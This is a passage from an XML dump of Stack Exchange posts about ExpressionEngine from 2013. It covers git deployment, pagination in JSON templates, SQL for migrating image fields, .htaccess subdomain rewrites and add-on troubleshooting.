git/bitbucket + ftp + deployhq&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In practice: local version synchronized remotely (dev.mysite.com pointing to a subfolder), then push in the repository on bitbucket and finally deployed into production via deployhq&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pro: maybe the simplest solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cons: deployhq or beanstalk are payments services (free version of deployhq has 1 repository and limited deploy)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2) git and ssh installed on the server&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I copy these steps from another discussion:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;do a git init in production server (is this safe?)&lt;/li&gt;&#xA;  &lt;li&gt;clone the repo from production to staging server&lt;/li&gt;&#xA;  &lt;li&gt;developers clone the repo from the staging to their local machine&lt;/li&gt;&#xA;  &lt;li&gt;push files to the staging server after finish changing&lt;/li&gt;&#xA;  &lt;li&gt;when staging is ready, push everything to the production&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are these steps correct? I'm not very familiar with git, so can you give me an example of the commands to use? I would use this solution. Also, can I still use bitbucket?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there better solutions? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2013-08-15T19:47:27.353" LastActivityDate="2013-08-15T21:46:45.427" Title="git , bitbucket and multi environment (subdomain &gt; same server)" Tags="|focus-lab-master-config|git|workflow|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12774" PostTypeId="2" ParentId="12771" CreationDate="2013-08-15T17:48:46.923" Score="0" Body="&lt;p&gt;It seems like there may be files missing from your upload. I would try reuploading the add-on to make sure all files were included. The error seems to be pointing to a missing file within  the add-on's package directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime to get you back into the control panel, you can go into your database, find the &lt;code&gt;exp_extensions&lt;/code&gt; table, find the EE Debug Toolbar record and set the value of the &lt;code&gt;enabled&lt;/code&gt; field to &lt;code&gt;n&lt;/code&gt;. This will disable the extension and should prevent it from interrupting your access to the control panel.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-15T17:48:46.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12775" PostTypeId="2" ParentId="12762" CreationDate="2013-08-15T17:50:49.467" Score="1" Body="&lt;p&gt;Per the &lt;a href=&quot;http://www.solspace.com/docs/importer/control_panel/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, the channel should appear as the first field in the create new import profile screen.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-15T17:50:49.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12776" PostTypeId="2" ParentId="12770" CreationDate="2013-08-15T17:53:43.120" Score="1" Body="&lt;p&gt;One solution I came up with is to set an instance variable such as &lt;code&gt;$has_already_validated&lt;/code&gt; to prevent further validation. It seems to work as there is only one instance created at least. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_fieldtype_ft extends EE_Fieldtype {&#xA;    private $has_already_validated = FALSE;&#xA;&#xA;    function validate($data) &#xA;    {&#xA;         if ($this-&amp;gt;has_already_validated) return TRUE;&#xA;         $this-&amp;gt;has_already_validated = TRUE;&#xA;&#xA;         // your validation code&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-08-15T17:53:43.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12777" PostTypeId="2" ParentId="12766" CreationDate="2013-08-15T18:11:43.367" Score="1" Body="&lt;p&gt;ended up going back to an old server backup to restore the old site.  WIll try again from scratch&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-08-15T18:11:43.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12778" PostTypeId="2" ParentId="12759" CreationDate="2013-08-15T19:06:01.370" Score="1" Body="&lt;p&gt;On our EE site, we are doing any forced redirects with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect=&quot;sorry/index&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The URL changes accordingling to the 404 Error Page.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-15T19:06:01.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12779" PostTypeId="2" ParentId="12752" CreationDate="2013-08-15T19:11:29.513" Score="0" Body="&lt;p&gt;Unfortunately as of this writing (latest Calendar version: 1.8.4), using &quot;not&quot; in &lt;code&gt;calendar_name=&quot;not calendar1|calendar2&quot;&lt;/code&gt; isn't available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the &lt;code&gt;calendar_id=&quot;&quot;&lt;/code&gt; parameter should let you exclude calendars. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calendar_id=&quot;not 1|5&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-15T19:11:29.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12780" PostTypeId="2" ParentId="12740" CreationDate="2013-08-15T19:18:02.693" Score="0" Body="&lt;p&gt;This indeed appears to be an (odd) bug in Primary Category, which is reported. This seems to affect only dollar signs followed by numbers only (i.e. &lt;code&gt;$hello&lt;/code&gt; gets parsed correctly, but not &lt;code&gt;$123&lt;/code&gt;, which outputs &lt;code&gt;3&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One workaround I found was to avoid having the dollar sign followed immediately by a number. Adding a space between the $ and number seems to prevent the odd parsing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg. Change &lt;code&gt;$1,009.00&lt;/code&gt; to &lt;code&gt;$ 1,009.00&lt;/code&gt; (please note the space).&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-03-05T02:33:38.173" LastActivityDate="2014-03-05T02:33:38.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12781" PostTypeId="1" AcceptedAnswerId="12809" CreationDate="2013-08-15T19:45:09.890" Score="2" ViewCount="123" Body="&lt;p&gt;I've a EE1 - EE2 project where I have a native text field storing a full image tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{filedir_2}sh-275.jpg&quot; style=&quot;border: 0;&quot; alt=&quot;SH-641 humidity chamber&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This being the result of the EE1 upload process.  I'd like to get this turned into an EE2 file field so need the field contents to just be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filedir_2}sh-275.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main goal is so that I can use the EE image resizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come up with some clever SQL to do that in an automated fashion?  I'd rather not have to touch each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I have the option to use a template-level image resizer yet but would rather see about getting the native tool working first.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-08-16T12:46:43.077" Title="Converting EE1 Text Field with Image tag to EE2 File Field" Tags="|file-uploads|fieldtype|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12782" PostTypeId="2" ParentId="7284" CreationDate="2013-08-15T19:55:23.003" Score="0" Body="&lt;p&gt;I solved this by spinning out two entry loops in the same template - one for &lt;code&gt;url_title&lt;/code&gt; and one for &lt;code&gt;entry_id&lt;/code&gt;. I used croxton's &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; to select the appropriate loop based on regular expression in the segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could set up a separate live look template for the channel. But then you'll need to maintain two templates.&lt;/p&gt;&#xA;" OwnerUserId="1899" LastEditorUserId="104" LastEditDate="2013-08-16T07:52:45.180" LastActivityDate="2013-08-16T07:52:45.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12783" PostTypeId="1" CreationDate="2013-08-15T20:33:34.567" Score="1" ViewCount="96" Body="&lt;p&gt;Wygwam 3.1.1 and EE v2.6.1 - Build Date: 20130506&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed today that the in Firefox 23, after clicking on the &quot;maximize&quot; option in the toolbar, the entire tool set disappears when in full screen, compared to Chrome, where the toolbar is positioned at the top of the screen and visible even when scrolling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug? &lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2013-10-16T01:58:24.837" Title="Wygwam fullscreen toolbar not showing up in Firefox" Tags="|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12784" PostTypeId="1" CreationDate="2013-08-15T21:17:50.880" Score="1" ViewCount="162" Body="&lt;p&gt;I'm getting a strange issue when trying to display pagination inline. It appears that when their is no pagination to display, the {paginate} will echo out: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pagination_marker&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to display pagination in a json output format, this is what my entry tag looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;    {&#xA;        &quot;category&quot;: {exp:query sql=&quot;SELECT cat_name FROM exp_categories WHERE &#xA;cat_url_title = '{segment_4}'&quot;}{exp:jsonencodetagpair}{cat_name}{/exp:jsonencodetagpair}{no_results}{redirect=&quot;404&quot;}{/no_results}{/exp:query},&#xA;        &quot;reviews&quot;: [{exp:channel:entries channel=&quot;reviews&quot; category_url_title=&quot;{segment_4}&quot; paginate=&quot;inline&quot; status=&quot;open&quot; limit=&quot;5&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; backspace=&quot;0&quot; disable=&quot;categories|category_fields|member_data&quot;}&#xA;            {   &#xA;                &quot;id&quot;: {entry_id},&#xA;                &quot;snippet&quot;:{exp:jsonencodetagpair}{review_snippet}{/exp:jsonencodetagpair},&#xA;                &quot;slug&quot;: &quot;deeplink/{entry_id}&quot;,&#xA;                &quot;firstName&quot;: {exp:jsonencodetagpair}{review_first_name}{/exp:jsonencodetagpair},&#xA;                &quot;lastName&quot;: {exp:jsonencodetagpair}{review_last_name}{/exp:jsonencodetagpair},&#xA;                &quot;image&quot;: &quot;{if '{review_reviewer_photo}' != &quot;&quot;}{global:site_url}{review_reviewer_photo}{/if}&quot;,&#xA;                &quot;date&quot;:{exp:jsonencodetagpair}{entry_date format='%Y-%m-%dT%H:%i:%sZ'}{/exp:jsonencodetagpair}{if count != total_results}&#xA;&#xA;            },{if:else}&#xA;&#xA;            }&#xA;        ],&#xA;        &quot;pagination&quot;: [{paginate}&#xA;            {&#xA;                &quot;previous&quot;: {exp:jsonencodetagpair}{if previous_page}{auto_path}{/if}{/exp:jsonencodetagpair},&#xA;                &quot;next&quot;: {exp:jsonencodetagpair}{if next_page}{auto_path}{/if}{/exp:jsonencodetagpair}&#xA;            }{/paginate}&#xA;        ]{/if}{no_results}],&quot;pagination&quot;:[]{/no_results}{/exp:channel:entries}&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, since it has to be in a json format, I don't want my pagination to be within the array of reviews. This works perfectly when their are multiple pages to be displayed, but when their is only 1 or 2 reviews and no pagination needed, pagination_marker is then displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the json looks like when it's working correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;    {&#xA;        &quot;category&quot;: &quot;Cosmetic Dentistry&quot;,&#xA;        &quot;reviews&quot;: [&#xA;            {&#xA;                &quot;id&quot;: 886,&#xA;                &quot;snippet&quot;: &quot;&quot;,&#xA;                &quot;slug&quot;: &quot;deeplink/886&quot;,&#xA;                &quot;firstName&quot;: &quot;test&quot;,&#xA;                &quot;lastName&quot;: &quot;test&quot;,&#xA;                &quot;image&quot;: &quot;&quot;,&#xA;                &quot;date&quot;: &quot;2013-07-31T12:37:00Z&quot;&#xA;            },&#xA;            {&#xA;                &quot;id&quot;: 883,&#xA;                &quot;snippet&quot;: &quot;&quot;,&#xA;                &quot;slug&quot;: &quot;deeplink/883&quot;,&#xA;                &quot;firstName&quot;: &quot;&quot;,&#xA;                &quot;lastName&quot;: &quot;&quot;,&#xA;                &quot;image&quot;: &quot;&quot;,&#xA;                &quot;date&quot;: &quot;2013-07-31T12:25:00Z&quot;&#xA;            },&#xA;            {&#xA;                &quot;id&quot;: 882,&#xA;                &quot;snippet&quot;: &quot;&quot;,&#xA;                &quot;slug&quot;: &quot;deeplink/882&quot;,&#xA;                &quot;firstName&quot;: &quot;James&quot;,&#xA;                &quot;lastName&quot;: &quot;Lukensow&quot;,&#xA;                &quot;image&quot;: &quot;&quot;,&#xA;                &quot;date&quot;: &quot;2013-07-31T12:22:00Z&quot;&#xA;            },&#xA;            {&#xA;                &quot;id&quot;: 881,&#xA;                &quot;snippet&quot;: &quot;&quot;,&#xA;                &quot;slug&quot;: &quot;deeplink/881&quot;,&#xA;                &quot;firstName&quot;: &quot;James&quot;,&#xA;                &quot;lastName&quot;: &quot;&quot;,&#xA;                &quot;image&quot;: &quot;&quot;,&#xA;                &quot;date&quot;: &quot;2013-07-31T12:19:00Z&quot;&#xA;            },&#xA;            {&#xA;                &quot;id&quot;: 880,&#xA;                &quot;snippet&quot;: &quot;&quot;,&#xA;                &quot;slug&quot;: &quot;deeplink/880&quot;,&#xA;                &quot;firstName&quot;: &quot;&quot;,&#xA;                &quot;lastName&quot;: &quot;&quot;,&#xA;                &quot;image&quot;: &quot;&quot;,&#xA;                &quot;date&quot;: &quot;2013-07-31T12:18:00Z&quot;&#xA;            }&#xA;        ],&#xA;        &quot;pagination&quot;: [&#xA;            {&#xA;                &quot;previous&quot;: &quot;&quot;,&#xA;                &quot;next&quot;: &quot;http://local.cds.test.com/v1/reviews/category/cosmetic-dentistry/P5&quot;&#xA;            }&#xA;        ]&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like when it does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;    {&#xA;        &quot;category&quot;: &quot;Dentures&quot;,&#xA;        &quot;reviews&quot;: [&#xA;            {&#xA;                &quot;id&quot;: 879,&#xA;                &quot;snippet&quot;: &quot;&quot;,&#xA;                &quot;slug&quot;: &quot;deeplink/879&quot;,&#xA;                &quot;firstName&quot;: &quot;&quot;,&#xA;                &quot;lastName&quot;: &quot;&quot;,&#xA;                &quot;image&quot;: &quot;&quot;,&#xA;                &quot;date&quot;: &quot;2013-07-31T12:16:00Z&quot;&#xA;            }&#xA;        ],&#xA;        &quot;pagination&quot;: [&#xA;            {&#xA;                pagination_marker&#xA;            }&#xA;        ]&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1182" LastActivityDate="2013-09-15T04:42:38.253" Title="Help with Pagination displayed in line" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12785" PostTypeId="1" CreationDate="2013-08-15T21:39:34.730" Score="0" ViewCount="540" Body="&lt;p&gt;I'm having some trouble determining a good solution to save a Matrix field using Safecracker and AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I see matrix creates new rows by using &lt;code&gt;field_name[row_new_0][col_id_xxx]&lt;/code&gt; or &lt;code&gt;field_name[row_id_xxxx][col_id_xxx]&lt;/code&gt; when editing an existing row. I would have hoped that the row_id_xxxx was just an increment and would be replaced but that's not the case, instead it's a unique id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form I am creating allows the user to save a form before they submit it completely and what happens is it will continue to create &quot;new&quot; rows once it is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to prevent this?&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-08-16T17:25:15.123" Title="Prevent duplicate rows with matrix when using ajax submit?" Tags="|matrix|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12786" PostTypeId="2" ParentId="12773" CreationDate="2013-08-15T21:46:45.427" Score="3" Body="&lt;p&gt;Here's how I'm deploying the majority of sites &lt;a href=&quot;http://digitalevangelist.net/blog/git-deployments&quot; rel=&quot;nofollow&quot;&gt;http://digitalevangelist.net/blog/git-deployments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have a paid DeployHQ account as well but that's generally for larger projects deploying to multiple environments with emails going to stakeholders when there's been a deployment.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-15T21:46:45.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12787" PostTypeId="1" AcceptedAnswerId="12812" CreationDate="2013-08-15T22:12:33.380" Score="1" ViewCount="109" Body="&lt;p&gt;Maybe a dumb question, but I have zero experience with Expresso Store. Since products are channel entries, is it possible to 1) feature products in non-store pages (say the homepage) and 2) use categories or relationships in order to show products related to the product the user is viewing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus question: Are the expensive SSL certificates with the green URL background worth the $$? How low can I go with SSL costs and still be secure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-08-16T16:07:14.063" Title="If using Expresso Store, is it possible to feature products in non-store pages? Is there a way to feature &quot;related products&quot;?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12788" PostTypeId="1" CreationDate="2013-08-15T22:14:39.597" Score="1" ViewCount="69" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://exp-resso.com/docs/store/&quot; rel=&quot;nofollow&quot;&gt;Exp-resso Store&lt;/a&gt;. Is there a way to use the &lt;code&gt;backspace&lt;/code&gt; parameter in the {modifiers} tag? For the cart view, I'm hoping to list the modifiers that are being used, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers backspace=&quot;2&quot;}&#xA;    &amp;lt;strong&amp;gt;{modifier_name}:&amp;lt;/strong&amp;gt; {modifier_value}&#xA;{/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would output something like: &lt;strong&gt;Color:&lt;/strong&gt; Blue, &lt;strong&gt;Size:&lt;/strong&gt; X-Large&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a ton,&#xA;Brennan&lt;/p&gt;&#xA;" OwnerUserId="1675" LastEditorUserId="150" LastEditDate="2013-08-16T16:49:01.780" LastActivityDate="2013-08-16T16:49:01.780" Title="Backspace in modifiers?" Tags="|expresso-store|modifiers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12789" PostTypeId="2" ParentId="12517" CreationDate="2013-08-15T22:32:27.473" Score="0" Body="&lt;p&gt;If your sites are simple in how they use EE templates, you can use a CNAME to map your subdomains to your main domain, and then use some simple redirect rules to route requests to the correct EE templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, say your main site is: www.example.com and you map two subdomains, sub1.example.com and sub2.example.com as CNAMEs. Then, in EE, say you have corresponding template groups: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;site (the default, for the www.example.com site)&lt;/li&gt;&#xA;&lt;li&gt;sub1 (for your sub1.example.com site)&lt;/li&gt;&#xA;&lt;li&gt;sub2 (for your sub2.example.com site)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then, in your .htaccess, you could use these kinds of redirects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{HTTP_HOST} ^sub1\.example\.com$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_URI} !^/index\.php/sub1/.*$ [NC]&#xA;RewriteRule ^(.*)$ /index.php?/sub1/$1 [L]&#xA;&#xA;RewriteCond %{HTTP_HOST} ^sub2\.example\.com$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_URI} !^/index\.php/sub2/.*$ [NC]&#xA;RewriteRule ^(.*)$ /index.php?/sub2/$1 [L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note that those redirects assume your Apache is using FCGI. If it's using mod_php, you don't need the ? in the RewriteRules -- e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, with the above, a request to www.example.com would map to the default EE template, site/index. A request to sub1.example.com would map to the sub1/index. And a request to sub2.example.com would map to sub2/index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more complicated the sites, generally, the more complicated the structure of your EE templates. And, I don't think this approach scales very well, e.g., not having distinct 404 errors for different sites and other possible complications with URLs for the subdomains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if the subdomain sites are, say, just 1-page landing pages, I think this approach works well enough.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-15T22:32:27.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12790" PostTypeId="2" ParentId="12784" CreationDate="2013-08-15T22:48:06.847" Score="1" Body="&lt;p&gt;The pagination link generator is pretty whacky, because the parser grabs the code in your template and then may move it, depending on whether you have paginate set to bottom or top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably an example of the EE parser not working in a strictly top-to-bottom manner, and catching us off-guard since we want the parser to follow the sequence of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as an easy step, trying adding paginate=&quot;bottom&quot; to your exp:channel_entries tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't solve it, try taking the pagination code block all the way outside of the conditional {if count != total_results}. I can't think of exactly how that'd work in the JSON, but maybe this can work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those approaches don't work, then you need to think about having the pagination go into a placeholder variable that you can then put in the right place later. You might need PHP to do this, or one of the &quot;jumper&quot; add-ons like NSM Transplant might do the trick.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These examples of &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Lists#pagination&quot; rel=&quot;nofollow&quot;&gt;How to Use Stash for Pagination&lt;/a&gt; and &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Capturing-pagination&quot; rel=&quot;nofollow&quot;&gt;Capturing Pagination&lt;/a&gt; might be helpful, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the EE parser sometimes is not happy with lots of curly brackets and quotes on the page. I think this may have something to do with why you're seeing the pagination_marker placeholder rather than some other mess.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-08-16T03:45:20.760" LastActivityDate="2013-08-16T03:45:20.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12791" PostTypeId="2" ParentId="12781" CreationDate="2013-08-15T23:01:42.900" Score="2" Body="&lt;p&gt;I've done this kind of thing in SQL. The trick is matching what you need using just SQL, since its string matching is somewhat verbose. I've also done this using SQL in PHP--just looping through a query result set, making the changes using PHP's RegEx or basic string substitution, and then updating the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get at the field data in EE1, you'll want to do a query like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select entry_id, field_id_10 from exp_weblog_data &#xA;where channel_id = 1 and field_id_10 like '%src=&quot;{filedir_2}%.jpg%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find the field_ids for the fields you need, via this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select * from exp_weblog_fields&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, go to edit a field in the EE control panel, and grab the field ID from the URL.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;updated:&lt;/strong&gt; here's an example query for parsing out the file info. Note that there's a +4 in the equation because we look-up the position of .jpg (which is 4 characters). If you end-up doing this totally in SQL, then I'd run separate queries for .jpg, .gif, .png as needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select entry_id, field_id_10, &#xA;substr(field_id_10, &#xA;locate('{filedir_2}', field_id_10),&#xA;locate('.jpg', field_id_10, locate('{filedir_2}', field_id_10))&#xA;- locate('{filedir_2}', field_id_10) + 4&#xA;)&#xA;from exp_weblog_data  &#xA;where channel_id = 1 and field_id_10 like '%src=&quot;{filedir_2}%.jpg%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, ultimately, you'd want to create a new field for the new image value (say it's field_id_11), and do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update exp_weblog_data set field_id_11 = &#xA;substr(field_id_10, &#xA;locate('{filedir_2}', field_id_10),&#xA;locate('.jpg', field_id_10, locate('{filedir_2}', field_id_10))&#xA;- locate('{filedir_2}', field_id_10) + 4&#xA;)&#xA;where channel_id = 1 and field_id_10 like '%src=&quot;{filedir_2}%.jpg%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-08-15T23:16:05.080" LastActivityDate="2013-08-15T23:16:05.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12792" PostTypeId="2" ParentId="12761" CreationDate="2013-08-15T23:29:05.237" Score="1" Body="&lt;p&gt;If you want to &quot;push&quot; entries to the home page based on data in the entry, I'd recommend that you use either a special &quot;home page&quot; category or a new field. Then you can use the exp:channel:entries tag limited by either a specific category_id or a search term, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The special category option is nice because you can filter by category in the control panel. So, it's easy then to find the current home page entries, for editing (e.g., for removing them from the home page category). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a special status for the entries is pretty similar to using a special category. I don't like to use special statuses for this because I try to limit my use of statuses only close and open, and have them mean only &quot;off&quot; and &quot;on&quot; (since EE makes them mean that, by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the way you're currently using Playa, (I assume) you're &quot;pulling&quot; entries into the home page entry. Another good way to pull entries into a template is with &lt;a href=&quot;http://gotolow.com/addons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low Reorder&lt;/a&gt; using its own &lt;a href=&quot;http://gotolow.com/addons/low-reorder/docs/tags#entries-tag&quot; rel=&quot;nofollow&quot;&gt;Entries Tag&lt;/a&gt;. It has a handy drag-n-drop interface in the control panel.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-15T23:29:05.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12793" PostTypeId="2" ParentId="12759" CreationDate="2013-08-16T00:48:16.803" Score="2" Body="&lt;p&gt;For SEO purposes, I don't think it's a good idea to return a 301 redirect when you want to return a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do {redirect=&quot;404&quot;} then EE serves the 404 template with a proper &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_404&quot; rel=&quot;nofollow&quot;&gt;HTTP 404 status&lt;/a&gt; response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do {redirect=&quot;404/index&quot;} then EE responds with a &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_301&quot; rel=&quot;nofollow&quot;&gt;HTTP 301 status&lt;/a&gt; redirect header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Analytics and Webmaster Tools track when a URL responds with a 404 error, so that shouldn't be a problem&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-16T00:48:16.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
